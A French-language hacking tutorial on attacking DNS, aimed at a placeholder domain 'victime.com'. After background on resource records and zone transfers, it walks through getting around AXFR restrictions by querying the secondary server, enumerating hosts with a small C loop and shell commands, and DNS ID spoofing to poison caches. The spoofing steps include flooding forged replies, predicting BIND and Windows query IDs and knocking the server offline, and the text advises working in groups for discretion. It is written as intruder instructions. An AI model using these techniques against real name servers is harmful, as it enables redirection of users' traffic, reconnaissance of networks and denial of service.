dns spoofing/hacking

1.0 introduction
un nom de domaine identifie un nœud. A chaque nœud est attribué un ensemble d'informations sur des ressources, lequel peut être vide. L'ensemble d'informations de ressources associé à un nom particulier est composé de quatre enregistrements de ressources séparés (rr). L'ordre des rr dans un ensemble n'est pas significatif, et ne doit pas nécessairement être préservé par les serveurs de noms, les résolveurs, ou tout autre partie du dns.
lorsque nous parlons d'un rr spécifique, nous supposons qu'il contient les éléments suivants :
owner nom de domaine où le rr est trouvé
type une valeur encodée sur 16 bits spécifiant le type de ressource décrit par cet enregistrement. Les types se réfèrent à une définition abstraite des ressources.
ce mémo définit les types suivants :
a
adresse d'hôte
cname
nom canonique d'un alias
hinfo
cpu et le système d'exploitation (os) d'un hôte
mx
schéma d'échange de courrier pour ce domaine. Voir [rfc-974] pour plus de détails
ns
serveur de noms "autorisé" pour le domaine
ptr
pointeur vers une autre partie de l'espace de noms de domaines
soa
début d'une sphère d'autorité

Quote:

class valeur encodée sur 16 bits identifiant une famille de protocoles ou une instance d'un protocole.

ce mémo définit les classes suivantes :
in
système internet
ch
système chaotique
ttl
durée de vie du rr. Cette valeur est représentée sous forme d'un entier sur 32 bits et est exprimée en secondes, et est principalement utilisée par les résolveurs lorsqu'ils mémorisent temporairement des rr. Le champ ttl définit combien de temps un rr peut être gardé localement avant de devoir être considéré comme obsolète.
rdata
type et parfois les données dépendantes de la classe décrivant la ressource :
A pour la classe in, une adresse ip sur 32 bits. Pour la classe ch, un nom de domaine suivi d'une adresse octale chaotique sur 16 bits.
cname
nom de domaine
mx
valeur de préférence sur 16 bits (la plus basse possible) suivie d'un nom d'hôte souhaitant servir d'échangeur de courrier pour le domaine de l'owner.
ns
nom d'hôte
ptr
nom de domaine
soa
plusieurs champs

le nom du propriétaire (owner) est souvent implicite, plutôt que formant une partie intégrante du rr. Par exemple, de nombreux serveurs de noms représentent l'espace de nom en interne sous forme d'arbre ou de tableaux associatifs, et pointent les rr à partir des nœuds. Le restant des données des rr, soit l'en-tête fixe (type, classe, ttl) valable pour tous les rr, et la partie variable (rdata) adaptée au type de ressource décrite, étant habituellement stockée à l'extérieur de la représentation de la structure de l'espace.

la signification du champ ttl est la durée limite pendant laquelle un rr peut être conservé dans un cache local. Cette limite ne s'applique pas aux données "autorisées" stockées dans les zones ; celles-ci disposent aussi d'une temporisation, mais définie par la politique de rafraîchissement de la zone elle-même. La ttl est définie par l'administrateur pour toute la zone contenant cet enregistrement. Alors qu'une valeur faible de la ttl peut être utilisée pour diminuer la durée de cache, et qu'une valeur de zéro empêche tout stockage local, l'analyse réelle des performances d'internet suggère que cette valeur soit de l'ordre de quelques jours pour un hôte type. Lorsque l'on peut anticiper sur une modification, la ttl pourra être réduite juste avant d'effectuer la modification pour optimiser la consistance de l'information au moment du changement, puis être rétablie à sa valeur d'origine après un certain délai.
les données dans la section rdata d'un rr est stockée comme une combinaison de chaînes binaires et de noms de domaines. Les noms de domaines seront souvent utilisés à titre de "pointeurs" sur d'autres structures de données du dns.
1.0.1 transfert de zone
une partie du travail d'un administrateur de zone est de maintenir l'état des zones dans chacun des serveurs de noms autorisés pour celles-ci. Lorsque des modifications, inévitables, sont reportées, elles doivent l'être sur tous les serveurs de noms associés à la zone. Bien que la distribution des données puisse se faire par ftp ou toute autre procédure de transfert conséquente, la méthode préférée sera le transfert de données de zone par le protocole dns lui-même.
Lorsque la vérification conclue en une différence de numéros de série, le serveur secondaire devra demander un transfert de données de zone via une requête axfr pour cette zone. La requête axfr peut retourner une erreur, telle que "refusé", mais donne suite en temps normal à la réception d'une séquence de messages de réponse. Les premier et dernier messages doivent contenir les données du nœud autorisé de plus haut niveau dans la zone. Les messages intermédiaires transportent tous les autres rr enregistrés pour la zone, les rr non autorisés y compris. Le flux de messages permettent au serveur secondaire de reconstituer une copie conforme de la zone. Comme la précision est essentielle, on utilisera tcp ou tout autre protocole fiabilisé pour les requêtes axfr.
1.1 exemples
exemple de requête classique :
[nobody@victime /]$ host -l victime.com
victime.com name server ns1.victime.com
victime.com name server ns2.victime.com
victime.com has address 127.0.0.1
linux.victime.com has address 192.168.1.2
mail.victime.com has address 192.168.1.3
ns1.victime.com has address 192.168.1.5
ns2.victime.com has address 192.168.1.7
pigeon.victime.com has address 192.168.1.1
ceci va générer un message dans les logs du server
apr 29 20:07:54 victime.com named[1407]: Approved axfr from [127.0.0.1].9611 for
"victime.com"
ceci nous permet d'obtenir la configuration. Notez que le fichier dns est plus complexe lors
d'une requête axfr
[nobody@victime /]$ host -l -v -t any victime.com
rcode = 0 (success), ancount=1
found 1 addresses for ns1.victime.com
trying 127.0.0.1
victime.com 86400 in soa ns1.victime.com
root.localhost(
1997022700 ;serial (version)
28800 ;refresh period
14400 ;retry refresh this often
3600000 ;expiration period
86400 ;minimum ttl
)
victime.com 86400 in ns ns1.victime.com
victime.com 86400 in ns ns2.victime.com
victime.com 86400 in a 127.0.0.1
victime.com 86400 in mx 1 mail.victime.com
linux.victime.com 86400 in a 192.168.1.2
mail.victime.com 86400 in a 192.168.1.3
ns1.victime.com 86400 in a 192.168.1.5
ns1.victime.com 86400 in hinfo celeron 400
ns2.victime.com 86400 in a 192.168.1.7
machine1.victime.com 86400 in a 192.168.1.1
machine2.victime.com 86400 in hinfo cisco ios
victime.com 86400 in soa ns1.victime.com root.localhost(
1997022700 ;serial (version)
28800 ;refresh period
14400 ;retry refresh this often
3600000 ;expiration period
86400 ;minimum ttl
)
nous possédons désormais le fichier configuration avec quelques infos : Mail (mx) dns (ns) ;
informations (hinfo)
ces dernières infos auraient pu être obtenues de façon différente
host -t mx victime.com (pour avoir les mails serveurs)
host -t a victime.com (pour avoir les entrées standards)
host -t ns victime.com (pour avoir les dns serveurs)
etc...
1.2 explication
au moment où le server de nom primaire (ns1) est démarré, il copie les informations sur les
entrés (a; ns; mx ...) vers le secondaire (ns2) via ce que l'on appel un transfert de zone.
Donc les informations de zone (a, ns, mx, hinfo ...) sont aussi consultables depuis le ns2.
2.0 secure dns bypassing
2.1 méthode par serveur secondaire
supposons maintenant que l'axfr soit refusé sur victime.com
[nobody@victime /]$ host -l victime.com
server failed: Query refused
[nobody@victime /]$
ce type de message signifie que le dns est protégé et refuse les requêtes axfr.
Mais certaines requêtes sont toujours autorisés puisque ns et mx sont toujours lisible.
Ces requêtes vitales au fonctionnement du réseau permettent respectivement de convertir les
noms d'hôtes en adresse ip et de permettre la réception de mail.
exemple :
[nobody@victime /]$ host -t ns victime.com
victime.com name server ns1.victime.com
victime.com name server ns2.victime.com
[nobody@victime /]$
les 2 serveurs dns sont ns1.victime.com et ns2.victime.com
voici comment obtenir leurs ip respectifs
[nobody@victime /]$ host ns1.victime.com
ns1.victime.com has address 192.168.1.5
[nobody@victime /]$
[nobody@victime /]$ host ns2.victime.com
ns1.victime.com has address 192.168.1.7
[nobody@victime /]$
la phase suivante est la clé du bypassing
echo " " > /etc/resolv.conf
echo " " >> /etc/resolv.conf
echo "nameserver 192.168.1.5" >> /etc/resolv.conf
echo " " >> /etc/resolv.conf
[nobody@victime /]$ host -l victime.com
server failed: Query refused
[nobody@victime /]$
si ça ne marche pas, on essaye avec le dns suivant
echo " " > /etc/resolv.conf
echo " " >> /etc/resolv.conf
echo "nameserver 192.168.1.7" >> /etc/resolv.conf
echo " " >> /etc/resolv.conf
[nobody@victime /]$ host -l victime.com
victime.com name server ns1.victime.com
victime.com name server ns2.victime.com
victime.com has address 127.0.0.1
linux.victime.com has address 192.168.1.2
mail.victime.com has address 192.168.1.3
ns1.victime.com has address 192.168.1.5
ns2.victime.com has address 192.168.1.7
pigeon.victime.com has address 192.168.1.1
nous avons simplement contacté le serveur dns secondaire non protégé contre la lecture pour
lire les informations prises sur le premier serveur.
2.2 méthode par reverse
un dns correctement configuré gère les reverses. Cela signifie qu'une adresse ip pointe vers
un nom.
192.168.1.7 pointe vers ns2.vicitme.com (en réalité il ne regarde pas le reverse de 192.168.1.7 mais plutôt le ptr : 7.1.168.192.in-addr.arpa in ptr ns2.victime.com. )
reprenons depuis la requête refusée dans le première méthode
[nobody@victime/]$ host -l victime.com
server failed: Query refused
[nobody@victime /]$
[nobody@victime /]$ host -t ns victime.com
victime.com name server ns1.victime.com
victime.com name server ns2.victime.com
[nobody@victime /]$
[nobody@victime named]$ host -t mx victime.com
victime.com mail is handled (pri=1) by mail.victime.com
[nobody@victime named]$
nous ne pouvons toujours pas réaliser d'axfr mais nous pouvons déjà obtenir les ip de ces 3
serveurs
[nobody@victime named]$ host ns1.victime.com
ns1.victime.com has address 192.168.1.5
[nobody@victime named]$
[nobody@victime named]$ host ns2.victime.com
ns1.victime.com has address 192.168.1.7
[nobody@victime named]$
[nobody@victime named]$ host mail.victime.com
mail.victime.com has address 192.168.1.3
[nobody@victime named]$
apparemment, tout le réseau victime.com se trouve sur la classe d'adresse 192.168.1.x.
Vous pouvez par ailleurs utiliser la commande whois sur le ripe ou sur l'arin pour connaître
les classes d'adresse exactes du réseau cible.
Dans l'exemple, la solution consiste à obtenir les reverse des adresses ip.
pour, vous éviter de faire: Host 192.168.1.1 ; host 192.168.1.2 ; host 192.168.1.3 etc.
Voici le génotype d'un programme réalisé par la team cryptel
/* ----------------------------------- cut here --------------------------------*/
main(int argc, char *argv[]){
int i;
if(argc != 2){
printf("usage : %s 192.168.1.\n", argv[0]);
exit(0);
}
for(i = 1; i < 255+1; i++){
printf("%s%d\n", argv[1], i);
}
}
/*------------------------------------ cut here --------------------------------*/
une fois compilé on fait :
./c-ip 192.168.1. | awk '{ print "host " $1}' >> exec-ce-check
host -t ns victime.com >> exec-ce-log
host -t mx victime.com >> exec-ce-log
sh ./exec-ce-check >> exec-ce-log
vous avez ainsi reçu une partie de la configuration.
3.0 id dns hacking
vous devez sûrement vous demander ce que le hacking ou spoofing d'id dns peut bien être. Le hacking d'id dns est n'est pas une méthode de hacking très courante (en tout cas moins que le blind spoofing ou le bind spoofing). Cette méthode se base sur une faille du protocole dns. Plutot brutale, c'est une attaque très efficace et très puissante car il n'existe aucune génération de daemons dns qui lui échappe pas même windowsnt/2000 !
la seule manière pour un daemon dns de différencier les différentes question/réponses est le marqueur id dans le paquet.
exemple :
Ns.server.com:53 --->[?www.victime.com] ---> ns.victime.com:53
vous avez juste besoin de spoofer l'ip de ns.victime.com et répondre vos fausses informations à ns.server.com avant ns.victime.com !
ns.server.com <------- . . . . . . . . . . . Ns.victime.com
|
|<--[ip for www.victime.com is 1.2.3.4]<-- hum.intruder.com
mais, en pratique, vous devez deviner le bon id. Si vous êtes sur un lan, vous pouvez sniffer pour trouver cet id, et répondre avant le routeur. Si vous voulez le faire manuellement, vous n'avez que 4 méthodes basiques :
- testez toute les valeur possibles pour le marqueur id au hasard. Vous devez répondre avant le ns ! (ns.heike.com dans cet exemple). Cette méthode est obsolète à moins que vous ne vouliez connaître l'id, ou toute autre hypothèse quant à son identité.
- envoyer quelque requêtes dns (200 ou 300) dans le but d'augmenter les chances de tomber sur le bon id.
- flooder le dns pour l'empêcher de fonctionner. Le routeur va s'arrêter et afficher l'erreur suivante :
>> oct 06 05:18:12 adm named[1913]: Db_free: Db_f_active set - abort
a ce moment, le ns est hors service.
- vous pouvez utiliser les faiblesses bind découvertes, avec les prévisions d'id.
3.1 faiblesse id windows
l'id est des plus faciles à deviner car il est égal à 1 par défaut et 2 pour la seconde query, s'il y en a 2 à la fois.
3.2 faille bind
pour connaître un id, il vous suffit de sniffer le dns. Le dns utilise un id aléatoire au début, puis l'incrémente ensuite pour les query suivantes...
a. Il est facile de sniffer le message allant vers un dns aléatoire (ex: Ns.server2.com)
b. Vous demandez à ns.victime.com de résoudre (hasard).server2.com. Ns.victime.com va demander à ns.server2.com de retrouver *.server2.com
ns.victime.com ---> [?*.server2.com id = 666] ---> ns.server2.com
c. Maintenant que vous connaissez l'id du message, vous savez quelle id utiliser maintenant (666 dans cet exemple précis).
d. Maintenant, vous faite votre demande de résolution.
Exemple : www.victime.com vers ns.victime.com
(vous) ---> [?www.microsoft.com] ---> ns.victime.com
ns.victime.com ---> [?www.microsoft.com id = 446 ] ---> ns.microsoft.com
e. Inondez le serveur ns.victime.com avec l'id que vous avez obtenu (666), et alors, vous vous l'incrémentez.
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 id = 666] --> ns.victime.com
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 id = 667] --> ns.victime.com
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 id = 668] --> ns.victime.com
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 id = 669] --> ns.victime.com
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 id = 670] --> ns.victime.com
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 id = 671] --> ns.victime.com
vous savez maintenant que les id dns sont prévisibles, et qu'ils ne font qu'augmenter. Vous inondez ns.victime.com avec des réponses bidons à l'id 666+.
3.3 technique alternative
une autre technique existe sans nécessiter d'être root sur un dns. Le mécanisme est fort simple, on envoie à ns.victime.com une demande de résolution pour *.isp.fr
(vous) ----------[?*.isp.fr] -------> ns.victime.com
puis, ns.victime.com demande à ns1.isp.fr de retrouver (hasard).isp.fr.
Rien de nouveau jusqu'ici excepté qu'à partir de là, vous commencez à inonder ns.victime.com avec de fausses réponses (avec l'ip de ns1.isp.fr), avec des id allant de 100 à 110.
(spoof) ----[*.isp.fr is 1.2.3.4 id=100] --> ns.victime.com
(spoof) ----[*.isp.fr is 1.2.3.4 id=101] --> ns.victime.com
(spoof) ----[*.isp.fr is 1.2.3.4 id=102] --> ns.victime.com
(spoof) ----[*.isp.fr is 1.2.3.4 id=103] --> ns.victime.com
etc...
après cela, on demande à ns.victime.com si (hasard).isp.fr a une ip.
si ns.victime.com nous donne une ip pour *.isp.fr, c'est bon.
Sinon il ne vous reste plus qu'à recommencer. Le mieux étant de faire ça à plusieurs pour plus de rapidité, d'efficacité et de discrétion.
pour toutes précisions concernant le dns, consultez les rfc-1034 et 1035.